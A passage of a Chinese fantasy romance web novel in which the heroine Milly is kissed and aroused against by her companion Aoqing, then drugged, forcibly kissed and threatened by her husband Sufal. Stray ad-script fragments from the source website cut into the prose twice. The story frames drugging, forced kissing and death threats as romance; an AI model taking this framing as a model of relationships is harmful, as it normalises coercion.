“嗯?”咪莉应得很快,惊慌地睁开了眼睛,喉咙里发出细细的娇颤,手指也紧紧抓着他胸前垂下的衣带。 由于过度紧张,她不小心扯开了奥倾的衣带,奥倾的领子开得更宽,一副完美的男性身材便展现在了咪莉眼前。 咪莉的脸在奥倾手心里又升温了好几度,她的眼睛眨也不眨地望着奥倾那具肌肉线条流畅又充满野性力量的身材,可能是惊呆了,也可能是吓呆了。 “怎么还脱我的衣服呢?”奥倾玩味地说着,然后把手绕到咪莉腰间,解开她的裙带,“为了以示公平,我也要脱咪莉的。” “不、不行……”咪莉又气又急,按住奥倾的手笨拙地解释,“我是不小心的!” 奥倾笑了起来,搂紧了些咪莉,然后又凑过去亲吻着咪莉的嘴唇,蜻蜓点水般轻盈:“咪莉,这是我们第一次亲吻。” 奥倾的声音低沉动听,像蕴含着魔力蛊惑着咪莉的心,咪莉失神地颤了颤眼眸,发现自己深陷这双万丈光芒的金眸。 然后阴影覆盖上她的脸,她迷失在奥倾滚烫热烈的亲吻中。 奥倾的呼吸很轻,接连不断地挑逗着青涩的咪莉,他在咪莉柔软的口中汲取呼吸和芬芳,吻得黏密不分。 咪莉被他吻得晕头转向,她什么都没有经历过,只是这样一个吻,就让她浑身颤抖得厉害,她有点害怕,不知道这样做是对还是不对。 而她又忽然间想到了纳罗那一个同样侵略极强的吻。 咪莉皱眉,清醒了一些,不明白自己为什么在这种时刻想到那个红发流氓,发现自己的手正放在奥倾有力的胸膛上,炙热的肌肤灼烧着她的手心,她的脸瞬间烫了起来,推了推仍旧在她唇上流连的人,软软呼呼地发出抗拒声音。 奥倾笑着磨了磨她红润的双唇,手在她的脸上和脖子上来回抚摸:“咪莉,如果我忍不了怎么办?” 咪莉咬了咬麻麻的下唇,没太懂奥倾的话意,但她还是懵懵懂懂地感觉和他们现在做的事有关。 她抬起膝盖去顶开他的双腿,他的身子太重,压得她浑身酸痛,她想让他起来一些:“你忍不了和我有什么关系。” 可她下一秒却感到有什么东西在她的腿上划过,很硬,像滚烫的硬件事物。 她不满地瞪着奥倾:“你睡觉怎么还随身带武器?苏法尔难道还会半夜袭击我们?” 奥倾听后伏在她肩上呵呵直笑,却不料生气的咪莉已经伸手去拿他身上带的“武器”:“又在怪笑,拿出来吧,放在枕头下,不然睡觉硌得慌。” 咪莉从他的衣摆下伸进去手准备帮奥倾拿出来匕首,她刚抓住那影响睡觉的武器,就被奥倾同时握住了手。 奥倾看着她,沉默着,眼神越发幽黑,浑身的柔情似水也逐渐变得肃杀危险,她的眼里是疑虑不解,眼角还带着一些晶莹的水润。 奥倾叹了口气,像泄了气的金色豹子趴过去,将下巴枕着咪莉的脑袋,他们的手握着“武器”相叠在一起:“别动,咪莉,小心它伤了你。”声线像是压抑着什么那样克制。 咪莉动了动手,因为她发觉那匕首好像会自己动,还会变大,还被奥倾的体温捂得发热,正要抬头问问是什么魔物,迎面被两片唇堵住呼吸,她的手也被拿开按在枕头旁。 奥倾的动作利落,还带着些粗鲁,咪莉艰难地躲着,等人彻底没了力气,软在他的身下,才被放开呼吸,她可怜地含着泪水,面红耳赤地看着奥倾:“我差点就不能呼吸了。” 奥倾躺在她身边,把她抱在怀里,拍拍她的后背哄着:“好了好了,我停止了。” 咪莉瓮声瓮气地哼着,蜷起身子往后面退,赌气一样,然后又被捞回去。 过了好大一会儿,奥倾觉得咪莉快要睡着了,却听见咪莉忽然说:“你不把那魔物拿出来,晚上睡觉别靠我太近,我可不想被它不小心伤到。” 说完她又不放心地抬头瞅了奥倾一眼,别扭地说:“还有你也是,小心一点。” 然后她翻了个身背对着奥倾,闭上眼睛充满疑惑地睡去。 奥倾在她背后沉沉地呼了一口气,然后平躺好望着天花板,等待时间慢慢地过去,带走他的燥热冲动,金色的眼眸似乎有些变色,浮现出妖冶的血红色,只是一转即逝,像幻觉似的。 他睡不着,脑子里仍在回味接吻的味道,他从来没有像今天这样失礼地对待咪莉。 一是觉得咪莉以前年纪不大,心性还处于青涩少女的感情懵懂阶段,他想慢慢引导咪莉的情窦初开。 二是咪莉虽然很黏他,可是对男女之事一窍不通,连看见大街上男子亲一下女孩的脸颊都会脸红害臊到逃避,所以还是回到第一条,他需要慢慢引导咪莉。 可是好不容易等到和咪莉结婚,却又出了岔子,致使咪莉和苏法尔阴差阳错地有了婚姻制约。 不知过了有多久,奥倾转过身朝咪莉靠过去,抱着咪莉,闭上□□渐熄的眼睛,在咪莉颈肩蹭了蹭。 “咪莉……” 咪莉睡得正香,只感觉自己的脖子一片冰凉,有柔软的东西轻轻落在上面,然后留下湿漉漉的痕迹。 她困意太浓,只咕哝一两句奥倾的名字就没再理会。 等到第二天起床,咪莉坐在桌边对着镜子梳头,发现侧颈那里红红的一片,她摸了摸,有些刺疼,又想到昨晚睡着时奥倾好像碰过她的脖子。 等奥倾从洗浴室洗漱完出来后,火气蹭蹭的咪莉骂他:“奥倾哥哥你属狗的吗?怎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么咬人啊!” 然后她把脖子露出来给奥倾看,怨气冲天。 奥倾过来歉意地笑了一下,很是无辜地说:“对不起,下次我注意力道。” 咪莉捂住脖子忙后退,生怕再被咬一口:“才没有下次!” 咪莉吼完就去洗浴室洗脸了,心里还想着奥倾半夜饿了才会做这种事情安慰肚子,等会儿下去多给奥倾点些早餐。 咪莉下楼点餐时,遇到了苏法尔。 苏法尔今天换了一身衣服,白色的长袖,修身的白裤,一双长至脚踝的黑色皮靴,精致的短边荷叶领口处戴着一串色调低沉又不失贵气的黑珍珠,坠着一颗暗光闪烁的黑宝石,显得他漂亮又精致,像是出来喝茶的清冷贵族,哪有半分粗野的强盗气质。 咪莉冷冷地瞥了他一眼,过去跟店员点餐,心里吐槽苏法尔穿得跟个白凤凰似的,还有他昨天来的时候明明是空手,哪里冒出的衣服。 面对店员时脸上一直挂着疏漠微笑的苏法尔此刻笑意更浓,黑眸里也闪着星光,看起来很是开心:“咪莉,昨晚睡得好吗?” 咪莉站在柜台前,脸色臭得仿佛苏法尔欠了她一千银币还赖账的坏人:“谢谢关心,我睡得很好。” 苏法尔对店员说:“这是我妻子,她的点单和我的一起算。” 一直犯着花痴的女店员忽然像被浇了一盆凉水,原来这么俊美的男人已经成家了吗? 女店员满眼失落地看着苏法尔和女孩,心碎了一地,这时女孩却非常火大地说:“你能不能不要老是把这句挂在嘴上了?我们肯定是要离婚的。” 都有这么帅的男人做老公了,闹什么离婚啊,小妹妹你不要的话给她也行啊。 女店员又重新燃起希望,她瞥了眼咪莉的平板身材,然后挺直背,将自己引以为傲的火爆胸器展示出来,年轻漂亮的脸蛋上充满自信。 苏法尔低着头,对发脾气的咪莉无奈地笑,语气温柔到店员的心都酥化了:“咪莉,不要这么说,我这辈子只爱你一个人。” 咪莉却觉得苏法尔演技真是出神入化到家了:“少演戏了,你和我结婚根本就是别有用心!” 苏法尔悲伤地望着她:“是,咪莉,我和你结婚,就是为了得到你这颗讨厌我的心。” 他拉起咪莉的手,眼中柔情蜜意:“我们是家族联姻,你对我没有感情我理解,但我从第一眼看见你的时候就爱上你了,给我个机会,让我们好好培养感情,好吗?” 女店员又羡慕又嫉妒地看着咪莉,手里的点餐单被她捏得一团皱,觉得咪莉可真是不识好歹。 而咪莉已经呆到嘴巴能塞两个鸡蛋,她被苏法尔的言论雷得外焦里嫩,然后看见自己的手被对方拉着,赶紧甩开他的手,咬牙切齿:“花言巧语!” 咪莉不再搭理苏法尔,无比烦躁地等待出餐,撇过头不看他。 苏法尔靠在柜台前,散漫惬意地看向她,却忽然眼眸一滞,唇角若有若无的笑意也瞬间消失殆尽。 咪莉拿着点好的面包和奶酱准备赶紧离开这个诡异的现场,谁知被一旁一直沉默的苏法尔拦住。 “你又想做什么?” 苏法尔抓着她的胳膊,一只手撩开她的黑发,看见细嫩脖子上那显眼的红痕,声音冰冷到像凝结了霜雪:“这里昨天还什么都没有的。” 咪莉打开他的手:“什么什么都没有,你放开我,我要回房间吃饭。” 苏法尔默然地盯着她,手上的力气大到令咪莉深深皱眉,店员都觉得空气冷到像结了冰,令她不寒而栗。 咪莉同样觉得有些不对,这样的苏法尔总是令她心慌恐惧,他阴鸷的黑眸暗沉无光,就像黑漆漆的深海那样压抑,她又挣扎了一下,这次却轻易地挣开了。 她看也不看苏法尔就往楼上噔噔噔地跑,就像身后有恐怖野兽露着阴森獠牙追赶着她。 苏法尔没有追,只是一直静静地看着咪莉逃似地消失在楼梯拐角,店员小心翼翼地询问他:“先生,您的点餐……” 苏法尔回过头,露出个温和的微笑:“谢谢。” 他端着盘子往楼上走去,回到自己房间里用着餐,想起昨晚安静的隔壁房间,奥倾使用了某种隔音术,让他听不到任何动静。 咪莉脖子上的红痕再次跳跃进他的脑海,仔细想想,咪莉的唇也与平时不一样,有些微肿,颜色也红艳许多。 18.喝鹿奶比喝血上瘾的血族公爵 咪莉回到房间后,奥倾刚换好衣服,正在收拾两人的东西。 “吃过饭后我们找辆马车再走,路上坐得舒服点。”奥倾把咪莉的睡裙叠得方方正正,摆进包裹里,回头看见咪莉一脸的魂不守舍,显然没在听他的话,“咪莉,怎么了?” 奥倾放下手中的东西,走过来。 “嗯?”咪莉回过神,这才发觉刚刚奥倾在讲话,她把吃的放到桌上,坐下闷闷不乐地说,“刚刚在下面碰上苏法尔了。” 奥倾“咦”了一声,坐在了咪莉身边说:“他对你做什么了吗?” 咪莉郁闷地拆开一盒牛奶:“那倒没有,就是突然发神经……算了不说他了,吃饭吧,你昨晚饿得都咬我了,我给你点了两份早餐。” 奥倾笑了两声,凑过去用胳膊缠住咪莉:“是啊,饿得不得了。” 奥倾温热的呼吸铺洒向咪莉的脖子上,弄得咪莉脖子痒痒的,她不满地推开奥倾:“快吃饭吧。” 看着奥倾弯起的唇,她就想起昨晚那些感觉奇妙的亲吻,脸又红了起来,忙抓住牛奶盒子咬着吸管喝了一口。 两人吃过饭,给马儿加了辆马车上了路。 咪莉原以为苏法尔会死缠烂打地跟着,结果除了早上那一面后,就没见过面了。 咪莉在马车里睡了一觉出来跟奥倾坐在了一起,她揉揉眼睛说:“到哪儿了?” 路程比较枯燥,为了让咪莉睡得安稳,马车走的速度不快,奥倾拿了本咪莉的魔法书打发时间,他看了看满脸瞌睡的咪莉说:“还有二十多公里到下一站歇脚的地方。” 他放下书,用手指拨了拨咪莉睡得有些凌乱的头发:“怎么不睡了?” 咪莉拿起他放下的书继续看:“现在睡多了,晚上会睡不着。” “说的也是。”奥倾把一条长腿伸开,让咪莉坐在上面,给她梳理着头发,编着辫子,“饿不饿?” 咪莉摇摇头,开始集中注意力记着书上的内容。 奥倾给咪莉扎了两个高麻花辫,露出了咪莉雪白的脖颈,他用手指整理着咪莉鬓边的碎发,指尖触碰到她浅粉的耳朵,忍不住捏了捏,然后大手一捞,把沉浸在学习海洋里的咪莉掰过来脸,在她粉嫩的唇上印了一吻:“晚上有什么想吃的吗?” 咪莉被这个突如其来的吻惊地瞪大了眼睛,结结巴巴:“都、都可以。” 奥倾微笑着:“咪莉越来越漂亮了。”他的手流连不舍地在她浅粉的脸颊上摩挲。 咪莉有些羞涩,不知所措地转回头看书,可是上面那些弯弯曲曲的符号却是一点也看不进去了,满脑子都是奥倾轻轻的吻。 奥倾没再逗咪莉,只是这样抱着她,偶尔摸一摸她的耳朵或者头发,再凑上去教她怎样快速记住那些繁琐复杂的魔法符号。 这样闲暇舒适的时光,树林里却突然鸟兽惊飞,一阵阵翅膀扑棱的喧哗。 咪莉抬起头看了看有些阴沉的天:“天气不太好,会下雨吗?” 奥倾加快了些速度,让咪莉进车厢里休息:“晚上可能会有场暴雨,我们得快些赶路了,咪莉,进去坐吧。” 咪莉就捧着书回车厢里了,看见小桌子上放的青红表皮的小酸果,拿了一颗出来塞进奥倾嘴巴里:“甜滋滋的,你吃一个。”然后又钻回去了。 奥倾咬破果子,酸溜溜的汁水在口中蔓延,不禁轻笑:“咪莉可真坏。” 得逞的咪莉没有回答他,靠在软垫子上窝着,书也被她放在一边,舒服极了。 奥倾嚼着酸涩的果肉,看了眼躁动不安的枝叶,满是笑意的眼睛在此刻已经变得冷冰冰。 所幸的是,在暴雨来临前,他们赶到了目的地,位于大陆偏南部的一个小城镇,没有上一个的多克城大。 时间太紧,雨滴已经开始纷纷砸了下来,路上也几乎没什么人,街道看起来很荒凉萧瑟,奥倾在路边随便找了家门店比较破旧的旅馆住下。 这间旅馆很小,老板是个浑身散发阴湿之气的大叔,桌上摆的账单都油乎乎的发黑,卫生环境过于不可描述,楼下一个客人都没有,奥倾看了看后小声问咪莉:“要不要换一家?” 眼看外面雨越下越大,咪莉不想来回折腾,就没换。 拿了钥匙上了楼,木质的楼梯死角积满灰尘,还发出嘎吱嘎吱的声音,两人同走着的时候,咪莉生怕木板突然断了把她和奥倾漏下去。 走廊里的天花板上挂着亮度昏暗的小灯球,上面结着厚厚的蜘蛛网,看得出来这家旅馆真的是卫生堪忧,难怪楼下一个客人都没。 所幸房间里有个小浴室可以洗澡,这让咪莉还是有点安慰的,她拿着换洗衣物就往里头走。 奥倾把随身携带的东西放到桌上说:“咪莉,你慢慢洗,我下去给你买些吃的。” “噢!” 听见咪莉的声音从关紧的门里传出,奥倾对房间设了一个防护的小结界,才抬脚离开房间,只是他没有从楼梯下去,在走廊里便忽然化作一团黑雾从窗户那里飞了出去,融入已经是倾盆大雨的寂黑夜色中。 满城风雨交加,路上的店门几乎都关了,住宅区的屋门也都紧闭,只有一些金色光影从窗户中泄出,屋檐下淅淅沥沥地落满雨帘,湿淋淋的地上晕出一个又一个的路灯影子。 一间石头堆砌的房屋中,灯光黯淡,家具简洁,红色圆桌边坐着个一身黑色风衣黑色长筒靴的长发男人。 他的头发很黑,柔顺地披泻在肩上,一边的头发拂在他的脸边,压下一片模糊的阴影,一边的压在耳朵后,露出那张精致俊美的脸。 长发男人浑身的暗黑,细长的双眸也是黑得没有一点光亮,就像嵌的黑珍珠。 但如果仔细看,眼底是摄人心魂的暗红,就像积固多年的血液残留在那里,令人生出恐惧之意。 “还以为你被美色昏了头,忘了自己的目的了呢。”黑发男人一手扶着桌角,一手端着一杯盛满鹿奶的玻璃杯,似笑非笑地看着进来的奥倾。 奥倾把门关上,阻隔了外面哗啦啦的嘈杂雨声,面无表情地走进来坐下:“急什么。” 奥倾瞥了一眼喝着鹿奶的男人,语气浓浓嘲讽:“真是怪癖,喝鹿奶竟比血上瘾,你真的是血族吗?” 某只冷酷的黑发血族顿时郁闷,把嘴里鼓着的鹿奶吞下,放下杯子:“不带这么歧视人的啊。” 奥倾嫌弃地皱眉:“埃比茨,你还是早点回去,你可没有阳光下行动的能力,小心晒成吸血鬼干,我还得把你包起来扛回去。” 埃比茨两只黑漆漆的眼瞳里有金色的灯影一闪而过,他不高兴地看着奥倾:“还不是长老的研究总是失败,到现在都没让我们血族能不惧怕阳光。” 他兴致缺缺地撑着下巴,满是喟叹:“你当时信誓旦旦地说有办法,来到了人界,可一晃眼都三年过去了,你的进度怎么样了?” 奥倾抱着胳膊坐在那里,淡淡道:“出了些岔子,恐怕又要耽误些时间了。” “什么岔子?”埃比茨蹙眉,他最关心奥倾的密谋进度了,如果能光天化日地在人界里玩儿,那该有多美好 ,“说来听听,兴许我能帮上忙呢。” 奥倾的眉心也抿起,觉得苏法尔确实是个棘手的阻碍,当下第一要务是解除苏法尔和咪莉的婚姻,否则他没办法进行下一步。 他看了看一脸兴奋想要帮忙的埃比茨,又严肃又嫌弃:“你帮不上忙。”随后起来就走,不想留咪莉单独在旅馆太久。 埃比茨觉得奥倾太过傲慢,愤怒得两颗小尖牙都露出来了,对着消失在雨夜里的奥倾背影暗骂:“自大!” 骂完后他眼里忽然划过一抹狡黠的光,舌尖挑起,舔了舔已经收回去的牙齿,心里打着什么鬼主意。 这会儿才晚上七点不到,外面黑得就像深更半夜,这个小城和上一站繁华热闹的多克城不同,这里阴森静谧,滂沱大雨猛烈无情,像是要把这座城淹没了一样。 咪莉洗完澡出来后不见奥倾,心里顿时觉得毛毛的,她已经换了睡裙,不方便下去找人,也觉得不会有什么事,就爬上床躺进被子里休息,马车再舒适也比不上一张安稳不晃的柔软床铺,她的身子都快要散架了。 只是刚躺下去没几秒,外面就响起了敲门声。 咪莉又下床去开门,心里正想着奥倾回来怎么还敲门的,结果看见门口的人是一个她意想不到的人。 本该远在曼努森的娜娜,正一脸热情地对咪莉挥挥手:“伊瑞妮……哦现在该叫你咪莉了。” 笑眯眯的娜娜一把揽过咪莉的肩:“咪莉,跟我走一趟吧,等一会儿就送你回来。” 震惊的咪莉立刻回过神来,想从娜娜手下出来,但对方力气极大,她费了九牛二虎之力都没能把那只青筋微现的秀气爪子挪开,她皱眉地瞪着娜娜:“我不去。” 娜娜是苏法尔的人,咪莉心里觉得不会有什么好事找她。 当然她的反抗无果,被娜娜轻轻松松地就扛起来从走廊上那道开在上方的窗户跳了出去。 冰冷的雨水寒气瞬间让咪莉浑身发抖,不禁在娜娜肩上怒吼:“就不能好好走路吗!” “这不是怕你不配合吗?”娜娜挑眉地笑了一下,更加极速地在雨夜里穿梭。 团长大人可是要她毫发无损地带咪莉过去,她可不能怠慢。 娜娜使用了魔法光罩阻断了雨水,却无法抵挡寒气,咪莉只穿了一件单薄的黄色睡裙,连袜子都没穿,而拖鞋也在路上早就被甩得没影了,等她被放下来后已经脸色惨白,没有一点血色,肉眼可见地在发抖。 “来了?”是苏法尔不咸不淡的声音。 咪莉抬起头,预料之内地看见了苏法尔那张讨人厌的脸。 这里是一间卧室,看家具摆放应该是一间旅馆房间,简洁工整,环境条件比咪莉那间要好多了。 “你想做什么?”奥倾不在身边,咪莉就显 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得有点底气不足,凭她自己可是打不过苏法尔的,不过她还是给不出好脸色,一脸凶巴巴的气势。 “到时间了。”苏法尔走过来上下扫了一眼咪莉,咪莉细腻的肌肤上冒出一层战栗的鸡皮疙瘩,光着一双脚站在地上,肩膀还在微微颤抖,“我不是说过吗,会定期给你体内的神力进行优化引导,让你的身体和它完美融合。” 哦,原来是这么回事,她都要忘了这件事了。 咪莉低着头抱着双臂搓了搓,睫毛轻轻一眨,可怜兮兮的模样。 不过她一开始就不相信苏法尔对她做的这件事是单纯地为她好,现在更是不想配合,于是说:“我不需要你帮我,让我回去。” 苏法尔却问她:“冷吗?”说着他就抬了抬手,想把自己的外套脱下来给咪莉披上,完全无视她的话。 咪莉不爽地抬起脸说:“不冷。” 咪莉这么倔强,苏法尔也没继续脱了,眸中似乎更加冷漠了起来,对娜娜点了点头示意。 娜娜很是有眼色地没有多说什么,现在的气氛实在让她觉得自己多余,但还得完成自己的任务。 苏法尔离开了房间,留下娜娜和咪莉,娜娜把咪莉拉到床上,安抚似地摸了摸她的脑袋:“咪莉,团长很好哄的。” 她很明显地看出团长在生咪莉的闷气,只是碍于性格不好表达。 咪莉莫名其妙地看着娜娜:“你真奇怪,我为什么要哄他?他又不是三岁小孩。” 娜娜把手滑到咪莉的小臂上,一副“我真搞不懂你们这些别扭的人”的无奈模样。 也是与此同时,咪莉终于察觉到小臂上微微刺痛的感觉,然后她眼前一片模糊。 原来是在这个时候给她打的昏迷药剂啊,真是让人防不胜防呢。 咪莉努力提起眼皮,用她钢铁般的意志对抗,不到两秒,她倒在了床上,死猪一样睡去。 雨水的声音很聒噪,从房顶顺着导水管变成水柱落到地上,苏法尔靠在寂静的走廊墙上,漂亮的黑发衬托出他高贵优雅的气质,他垂着眼眸,冰冷被软化了些,面庞笼罩着一层淡薄的温柔,还带着一些忧郁气质,像是在为什么烦恼。 没多久,格雷便从楼下上来了:“大人,弗兰撒珠的下落已经排查掉不少无用消息,过几天确定后就可以出发前往。” 弗兰撒珠是世间非常稀有的一颗红宝石,传说它有起死回生的功效,这是任何魔法都办不到的。 “嗯。”苏法尔轻轻应了一声,还是漫不经心。 格雷见他心事重重的样子,也没有出声打扰,看了看旁边那道门说:“圣女大人她……到时候要带着一起去吗?” 苏法尔淡淡地说:“到时候再说吧,只要一直有她的下落就行,不是必要带着的。” 况且有奥倾在,他想带走咪莉不是那么容易,恐怕要费很大一番功夫。 格雷又说了些关于弗兰撒珠的事情,苏法尔听着,一直到娜娜结束任务出来。 “她这次睡得应该不会很久,估计很快就会醒来。”娜娜对苏法尔说,“咪莉学习魔法的速度很快,她的身体在抵抗,所以我这次用了比上次多了两倍的魔力,照这样下去,恐怕我没有能力再控制她体内的神力。” 苏法尔轻轻皱眉:“这件事我会另想办法。” 娜娜和格雷一起离开后,苏法尔回到房间内,中间洁白的床铺上躺着昏睡中的咪莉。 他走过去坐到床边,觉得咪莉睡着时可讨人喜欢多了,不会总是仇视地瞪他,也不会总是用那张柔软的双唇说出他不喜欢的话。 雨好像小了些,哗啦啦的声音变成了滴啦滴啦的,就像苏法尔的心一样,也莫名的安稳了下来,他的目光不自觉地落到咪莉唇上,手指不知何时也抚摸了上去。 她的双唇很饱满,肉乎乎的,手指按下去就会软软地陷进去。 他想起了昨晚,咪莉和奥倾两个人在房间里,他不知道他们具体做了什么事,但从咪莉的状态来看,是有过一些事情发生了。 苏法尔忽然闭上眼睛,抚摸咪莉唇瓣的手收了回来,握成拳放在腿上,心里莫名生气。 咪莉不是自愿和他结的婚,心里的人当然不会是他,他才是那个破坏别人幸福的坏人。 而他一手计划的结婚,对象竟然是个没有思想意识的傀儡,难怪他与伊瑞妮相处起来总是觉得怪怪的。 只是事已至此,他有自己必须达到的目的,一步一步按照计划走,他不用在乎任何,包括咪莉。 只要最后咪莉不死就好。 其实,咪莉的死活也和他无关不是吗? 苏法尔陷入自己的沉思之中,精致到毫无瑕疵的一张脸不带一丝情绪,好像是个雕塑一样静静坐着。 但是,如果咪莉肯喜欢他的话,他会好好找方法令咪莉安然无恙的。 想到此,他的心里又怀着一些小小希冀,轻轻地喊了一声咪莉的名字。 19.情敌见面分外眼红 昏昏沉沉的咪莉睁开眼睛,看见的便是坐在床边的苏法尔,他的脸异常轻柔,眼睛里闪烁着她看不懂的情绪。 “你醒了。”苏法尔问着她。 咪莉却没有像平常那样起来跟苏法尔生气,她一脸的麻木,万分平静地说:“结束了吗?结束了那我可以回去了?” 苏法尔欢悦的心一下子就冷了,他沉默地看着咪莉。 咪莉看着苏法尔,不知道他在想什么,良久后他轻笑了一下:“你很喜欢奥倾。” 咪莉白了他一眼,从被子里坐起来,身体似乎没什么大变化,就像只是睡了一觉,她掀开被子下床:“我走了。” “奥倾对你的目的并不单纯。”苏法尔这样说着,语气极为冷漠。 这家伙要开始挑拨她和奥倾哥哥之间的关系了吗?真是卑鄙。 “哦。”咪莉根本懒得反驳他,无比淡定地从床边往门口走。 苏法尔垂眸看了看,咪莉没有鞋子穿,光嫩的双脚踩在地板上,离开的决心如此明显。 咪莉不是不冷,只是她一分钟都不想在这里多待,可她还没打开门,就突然被一股大力扯了回去抵在墙上,她的后背被撞得生疼,苏法尔高大的身影侵袭而来。 咪莉刹那间瞪大了双眼,慌乱地把双手挡在她和苏法尔之间:“你做什么?” 是啊,他想做什么? 苏法尔微微弯着腰,一只手撑在咪莉的脑袋旁边,一只手按着咪莉的肩膀让她无法逃走,冰冷的黑眸就这样一直无言地盯着咪莉。 咪莉没有地方可退,她急切地在苏法尔手底下挣扎了一下,立刻就被苏法尔逼得更近,他额发下的眼神晦涩不清,身上若有若无的某种冷香钻到咪莉急促的呼吸里。 苏法尔的身材挺拔雄伟,衬得咪莉更加纤细瘦弱,就像一头凶残威猛的野兽围猎着一只娇小脆弱的兔子。 “苏法尔,你……”咪莉的声音有些颤抖,她看着眼前这个可怕的男人,心里极度不安。 苏法尔的眼尾弯起浅浅的弧度,眼眸中是抑制不住的危险涌动,他的声音含笑:“害怕吗?” 看着咪莉已经逐渐含泪的无助模样,苏法尔内心生出一种极为复杂的情绪,他不想这么做,他也从来没有这样粗鲁地对待过一个女孩子。 他到底为什么这么生气?是因为作为他妻子的咪莉无视他?还是因为咪莉喜欢着别的男人? “你……你要是敢欺负我,奥倾哥哥不会放过你的……唔……” 咪莉哆哆嗦嗦的话还没有说完,苏法尔的双唇便欺了上来,带着浓浓的占有欲,势必要将咪莉唇上的每一寸都染上他的味道。 这个时候还要说奥倾的名字,就这么想激怒他吗? 苏法尔攥紧咪莉的手腕压在墙上,不顾她激烈的反抗,捏开她的下颚,舌尖轻扫进她的唇齿内,紧接着便是他自己也无法控制无法解释的掠夺攻势。 一个丝毫不留缝隙的强吻让咪莉呼吸困难,和奥倾的吻完全不同,她觉得自己就像被一头暴走的残忍野兽在吞食,她呜呜咽咽地哭了起来,止不住的害怕。 不知过了多久,可能就几秒,也可能漫长到几分钟,她的双唇终于被苏法尔放开,眨着泪眼恐惧地望着凌厉逼人的苏法尔,像看到怪物那样可怕,她浑身都在发抖,如果不是靠在墙壁,她一定会瘫软在地。 苏法尔捏着咪莉的下巴,冷冽地一笑:“如果再这样激怒我,我还会对你做更可恶的事情。” 咪莉抖了抖唇,一颗一颗的眼泪从她泛红的眼眶中掉落,像是被吓傻了一样不会说话,苏法尔的手指抚上她发麻微疼的下唇时,她下意识地一抖,忙转头避开,可下一秒又被掰回来脸。 苏法尔依旧满眼邪恶,笑得毫无温度:“回去后该说什么,知道吗?” 他凑近咪莉的耳畔,压低了声音:“要是今晚你在这里的事告诉奥倾的话,我会杀了他。” 咪莉呆愣的泪眼中迅速蕴含着一层怒气,苏法尔好整以暇,对咪莉歪了歪脸,顽皮地勾唇:“觉得不可能吗?那不如你赌一赌。” 咪莉红着眼睛哑声了许久,才终于忿忿地憋出两个毫无攻击力度的字:“混蛋!” 苏法尔轻笑,松开咪莉,转身找了一双他的短筒黑皮靴和一把黑色雨伞放在咪莉的脚边。 他退后一步,一只手插进裤子口袋中,站得如一位翩翩贵族,仿佛刚才的恶劣行径不是他做出来的:“你可以离开了。” 咪莉愣愣地看了他三秒,又低头看了看那双摆在她脚边像船一样大的皮靴,才抽抽搭搭地把脚一只一只地伸进去。 穿好后她又抬头看看苏法尔,苏法尔问她:“要我送你吗?” 咪莉顿时摇头,拿起雨伞飞一般打开门逃了出去,宽大的靴子被她踩踏地哒哒作响,一路都有甩飞鞋子的惊险。 雨还是没停,咪莉抓着这把撑开的黑伞走在夜路中,雨势很大,脚下宽松的鞋口已经顺着风淌进不少雨水,她的脚底一片湿淋淋。 她不认路,这座陌生的城市让她胸中更加难受,无比想念远在塔朗镇的妈妈。 想着想着她就又哭了。 “咪莉!”奥倾担心的声音在前方响起。 咪莉抬起些伞檐,看见奥倾焦急地朝她跑来,她不知觉间就加快了脚步,抹掉脸上的泪,踢踏踢踏着那双不合脚的靴子。 幸好下着雨,她可以说脸上是淋了雨。 “你去哪了?还是出了什么事?”奥倾把咪莉揽进怀里,发现咪莉的体温很低,他回到旅馆后发现咪莉已经不见,结界也没有破坏的痕迹,显然是咪莉自己走出去的,急得到处找,直怪自己大意。 “苏法尔把我弄走了。”咪莉抬头看着奥倾,她的伞落到两人头顶。 奥倾并没有淋到什么雨,他身上有一层淡淡的柔和光罩,听到咪莉的话后顿时眉心一皱:“对不起,我不该把你一个人留下,他伤害你了吗?” 咪莉摇摇头,声音有些暗哑:“没有,他只是让我过去说说话。” 咪莉没有平时的盛怒,低着脑袋缩着肩膀,像个被欺负过的可怜小狗,奥倾觉得咪莉没有说实话,但此刻不是说话的好时机,他把外套脱下来披在咪莉身上包裹着她,又看了看她脚下那双明显是男人穿的鞋子。 “我背你回去。”奥倾转过身,弯下腰朝后伸着胳膊,搂住咪莉的双膝站了起来,咪莉什么也没说地顺势趴在他背上,抓着那把黑伞遮着两人头顶。 奥倾的脚步微快,他把两人都罩进了防水光罩中:“咪莉,学会光罩了吗?” 咪莉一只胳膊揽住奥倾的脖子,没什么起伏地回答:“还没有,我还只是个初级魔法师。” 光罩属于防御系魔法,需要达到中级魔法师才能学习,而且像奥倾和娜娜那样长久维持魔法更需要大量魔力,最起码要高级魔法师级别的才能做到。 “也是,慢慢来,咪莉将来一定能成为很厉害的人。” 奥倾一路都有一搭没一搭地说着话,想挥散咪莉身上的恹恹难过。 到最后咪莉摸了摸奥倾后脑勺的发梢说:“我没事了,奥倾哥哥。” 回到旅馆后,咪莉重新洗了个热水澡,她冰凉的一双脚才得以缓解。 晚上睡觉的时候,奥倾躺在咪莉身旁拍着她的背说:“咪莉,现在想说了吗?” 咪莉不是个很会撒谎的人,一切情绪都会表现在脸上,她不想让奥倾知道苏法尔做了什么,只能缄默不言。 她摇着头只说:“我有点困了。” “那咪莉睡吧,睡醒了就没事了。”奥倾在咪莉额头上亲了一下。 这个吻像是有着某种魔力一样,使咪莉的意识很快就开始模糊不清,也或许是她受了太多恐吓让她精神高度紧绷,这会儿窝在奥倾身边就彻底放松了下来渐渐熟睡。 等咪莉熟睡之后,奥倾这次加了个连咪莉都出不去的结界保护着这个房间,然后他悄悄地离开了。 这会儿雨已经小了一些,风倒是更狂妄了,外面住宅的门被吹得吱吱响,一些胡乱丢的垃圾在街道上被吹起来又跌落在水坑里。 苏法尔坐在窗边的一把红木椅子里,腿上放着一本摊开的厚皮书籍,一手捏着纸张的一个小角,一手撑在椅子扶手上竖着,没有焦点的黑眸透出一些迷蒙的神情望着窗外凄冷的雨景,像是在回忆着什么。 可忽然他的眼睛眯成一条缝,按着扶手从椅子上站起来瞬移到房间中央,而他原本坐的椅子已经被一道红中带黑的光雾穿透玻璃击成四分五裂的残木碎屑。 下一秒,奥倾诡魅的身影出现在窗子里面,就像凭空出现一样,他一语不发,抬起右手聚集的一团红光就朝苏法尔砸去。 